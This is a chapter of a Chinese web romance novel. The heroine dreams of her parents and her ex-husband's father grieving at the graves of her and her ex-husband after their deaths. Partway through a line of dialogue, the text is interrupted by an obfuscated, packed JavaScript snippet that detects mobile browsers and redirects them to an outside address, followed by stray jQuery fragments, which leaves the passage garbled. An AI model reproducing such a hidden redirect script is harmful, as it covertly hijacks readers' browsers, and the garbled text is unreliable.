111. 第 111 章

作品:《渣了高冷校草以后

    在飞机上,临起飞前,展新月收到了代云的消息,说是原来的十班准备开学前组织一次同学会,问她要不要和时子骞一起过来。展新月回复说两人已经返校了,就不参加了。


    回完后她把手机收起来,见时子骞正盯着手上一样红色的东西发愣。凑过去一看,是一个红包。


    “新月,刚刚上飞机前叔叔阿姨给了我这个。”时子骞说。


    展新月伸手一摸:“很厚嘛。打开看看?”


    时子骞又看了好半天,才慢慢将它打开了。几秒后,他抬眼望过来,目光有点茫然。


    红包里是一沓红色的钞票,最上面还有一张显眼的一块纸币。


    “知道这是什么意思吗?”展新月笑了,“这种数字一般都是有含义的,寓意着,万里挑一。看来我爸妈很喜欢你。”


    时子骞跟着她笑了,如释重负似的,郑重地将红包收起来了。


    回到学校后时子骞就给他那边的房子换上了密码锁,说是方便她随时过来,还问她这段时间要不要住过去。


    虽然最近几个室友都没返校,但展新月想了想,还是决定回宿舍住了。毕竟时子骞的住处离学校不远,平时要过去还是挺方便的。


    趁开学前学校人不多,她去报了驾校,每天学车,泡自习室和时子骞约会,日子过得充实又快乐。一直到临开学前两天,时子骞他们系里有个很欣赏他的的老教授要去临市参加一个学术论坛,发消息让他跟着一起去。


    虽然只去两天,但两人黏在一起惯了,他这么突然一离开展新月还挺不适应。


    午饭后回到宿舍,室友都还没回来,空荡荡的。她把窗帘拉上,爬上床,准备短暂地睡个午觉。


    这个觉睡的并不踏实,一直都似睡非睡的。


    不知怎么的,再醒来时她竟然回到了家里。


    她茫然地从沙发上坐起来,房子里很暗,有点乱。爸妈都是是很爱整洁的人,记忆里家里好像很少有这么杂乱的时候。


    展新月四下看了看,总觉得哪里都不对劲。不知道是不是光线的原因,明明是才离开不久的家,现在看来四处都透露着陈旧的气息。


    正疑惑着,逄云和展巍两个人穿戴整齐从房间里走了出来。


    “爸妈,你们干嘛去?”展新月问了一句,两人恍若未闻。


    两人都带了帽子,站在门角光线暗处互相理了理帽子,逄云低声说:“走吧。”


    展巍没说话,只是点了点头,伸手拉开了房门。


    两人相携而出,背影佝偻着,透露出一股老态。


    不对劲的感觉更强烈了,展新月心有点慌,又叫了声“爸妈”,依然没收到任何回应。她忙向前几步想跟上去,穿过客厅时,她的余光忽然瞥到了墙上某处,步子突然就迈不动了。


    墙上挂了幅她的照片。黑白的。


    展新月站在原地看了很久,一时恍惚起来,茫然站了很久后,她还是凭借着本能朝着逄云和展巍离开的方向跟了过去。


    逄云和展巍的目的地是一处公墓,两人站在块墓碑前,弯腰放下一捧鲜花。


    展巍轻轻在碑上拍了一下,将帽子脱下来,露出满头花白的头发:“月月,爸妈来看你了。”


    展新月就站在他们身旁,一路上她无数次尝试和爸妈对话,他们都完全没有任何反应。此时,她在墓碑上看到了自己她正弯唇笑着的照片,下方刻着几个字:爱女展新月之墓。


    “一晃已经这么多年过去了,不知道你在那边过得好不好呢。”逄云也摘了帽子,缓缓俯下身一点点拉去碑身上细细的蛛丝,“爸爸妈妈很想你。”


    展新月伸手去触碰她,手指无力地从她身体中间穿了过去。


    她好像做梦了,又好像不是,因为身旁爸妈对着那块冰凉的墓碑絮絮的低语如此清晰,他们脸上衰老的痕迹纤毫毕现,一点都不像一场梦。两人在她墓前待了很久很久,和她分享着生活中各种琐碎的小事,就像曾经一家三口在一起时的每一次一样。


    很久后,逄云的手从她雕刻成的名字上抚过,像是在轻柔地触碰她的脸庞:“月月,爸爸妈妈年纪已经很大了,我们正等着和你重逢的那一天。”


    展新月喃喃念了一句“爸妈”,这一路浑浑噩噩的,此刻泪水终于还是滑下来了。


    从她墓碑前离开后,两人面色都很茫然,似乎不知道该去向何方了。站在墓园的一处分岔路口对望了一阵,展巍叹了口气:“去看看他吧。”


    逄云平淡地说:“走吧。”


    两人缓缓走了一阵,又来到了不远处另一处墓碑前。


    这块墓碑前放着两捧菊花,有个佝偻的老人背靠着墓碑坐在地上,头仰着,好像睡着了。


    听见脚步声,他抬起头,浑浊的眼睛对着面前的人看了好久才聚了焦:“你们来看他了。”


    “嗯。”展巍说,“我们来看月月,顺路过来看一眼。”


    “我刚刚看见你们了,原本我也想去看一眼小月,见你们在那就没敢过去。”老人蹒跚着站起身,“这么多年过去,我们都老得不成样子了。”


    展新月此时终于看清了他苍老的面庞,认出他竟然是许慎的父亲。这个曾经她也叫过一声“爸爸”的人,一张脸饱经风霜,让她几乎都要认不出了。


    她想到了什么,往他身后看去。


    他刚刚倚靠着的那块墓碑上清晰地刻着几个字:爱子许慎之墓。


    展新月僵住了,看了好一会儿,目光又呆滞地移向面前的许父。


    “这束花是带给小月的。”许父弯腰拿起一捧菊花,递到逄云面前:“我刚刚坐在这里,再回想起那天仍然觉得像场噩梦一样。你们说,怎么突然之间咱们家就变成这副模样了呢。”


    逄云没有去接,语气有点冷:


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16649549|172460||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “这你就要问许慎了。”


    “我是想问问他的,只是一直没找到机会。”许父没有在意她的冷淡,慢慢将花收了回来,“还记得那天小月出了车祸,我听到消息就匆匆往医院赶,没想到刚到就又接到电话,说许慎开车来医院的路上心神不稳也出了车祸……那天小月在六楼抢救,许慎在五楼,我握着电话站在电梯里,甚至不知道该按哪一层楼。”


    展巍和逄云脸色都有点不好看,显然是因为他的话又被勾起了一些不太好的回忆。


    “后来小月走了……许慎一直在昏迷,中间醒来几次问我小月怎么样了,我都没敢说,骗他小月好着。可有天他不知道从哪里听说了,那天下午突然就不行了,医生说他一点求生的意志都没有了。”眼泪从他沟壑纵横的脸上淌下来,“我原本想,等他醒了我要打他,骂他,问问他为什么这么好的日子不珍惜,为什么会做出那么混蛋的事。可是他也走了……”


    展巍转过脸去:“又提这些事做什么呢。”


    “我本来不想提的,可是……”他朝前走了一步,“许慎走之前对我说的最后一句话是,问我他还能不能和小月葬在一起。这么多年我从来都没有跟你们提过,我没有脸面。可如今我也不知道自己还有多少日子了,走之前就想看看能不能实现他这最后一个心愿。”


    逄云立刻斩钉截铁道:“绝对不可能。”


    “我替他给你们道歉,给小月道歉。”许父拉住面前两人的胳膊,慢慢跪了下来:“我不知道他到底为什么会犯下那样的错,但我想,他一定比谁都要痛苦。即便他犯下了不可饶恕的错误,他们俩也终究是夫妻。毕竟人都走了,我实在不忍心他孤孤零零的。”


    展巍低头看他:“你是不是找错人了,你该去找那个女人,问她去了以后愿不愿意跟许慎葬在一起。我们月月离开前手机里发的最后一条消息是要跟许慎离婚,他们早就没有关系了。”


    “不要提那个女人,我们家就只有小月这一个儿媳妇。”许父擦了擦泪水,“两个孩子十几岁就谈恋爱了,在一起这么多年,我们两家早就比亲人还要亲了,我也拿小月当亲女儿疼……”


    “小月走之前,一个字都没有说。她一直在流眼泪,流得眼泪快要比流得血还要多了。我当时就在想,我们月月得有多痛啊。”逄云打断了他,她眼睛里有泪花,却站的很直,“他永远别想得到我们的原谅。”


    “我们也是把许慎当亲儿子看待的,否则今天也不会来看他了。”展巍此时伸手将许父拉了起来:“但是有的错犯下就再也回不了头了,这件事无论如何我们都不会松口的。”


    “月月身旁确实还有两个位置,是为我俩自己准备的。”逄云沉声说,“至于许慎,我想,月月在下面也不会想见到他的。”


    萧瑟的风卷过,一地黄叶漫舞。几人身后的墓碑上,许慎正在略褪了色的照片中间微笑着。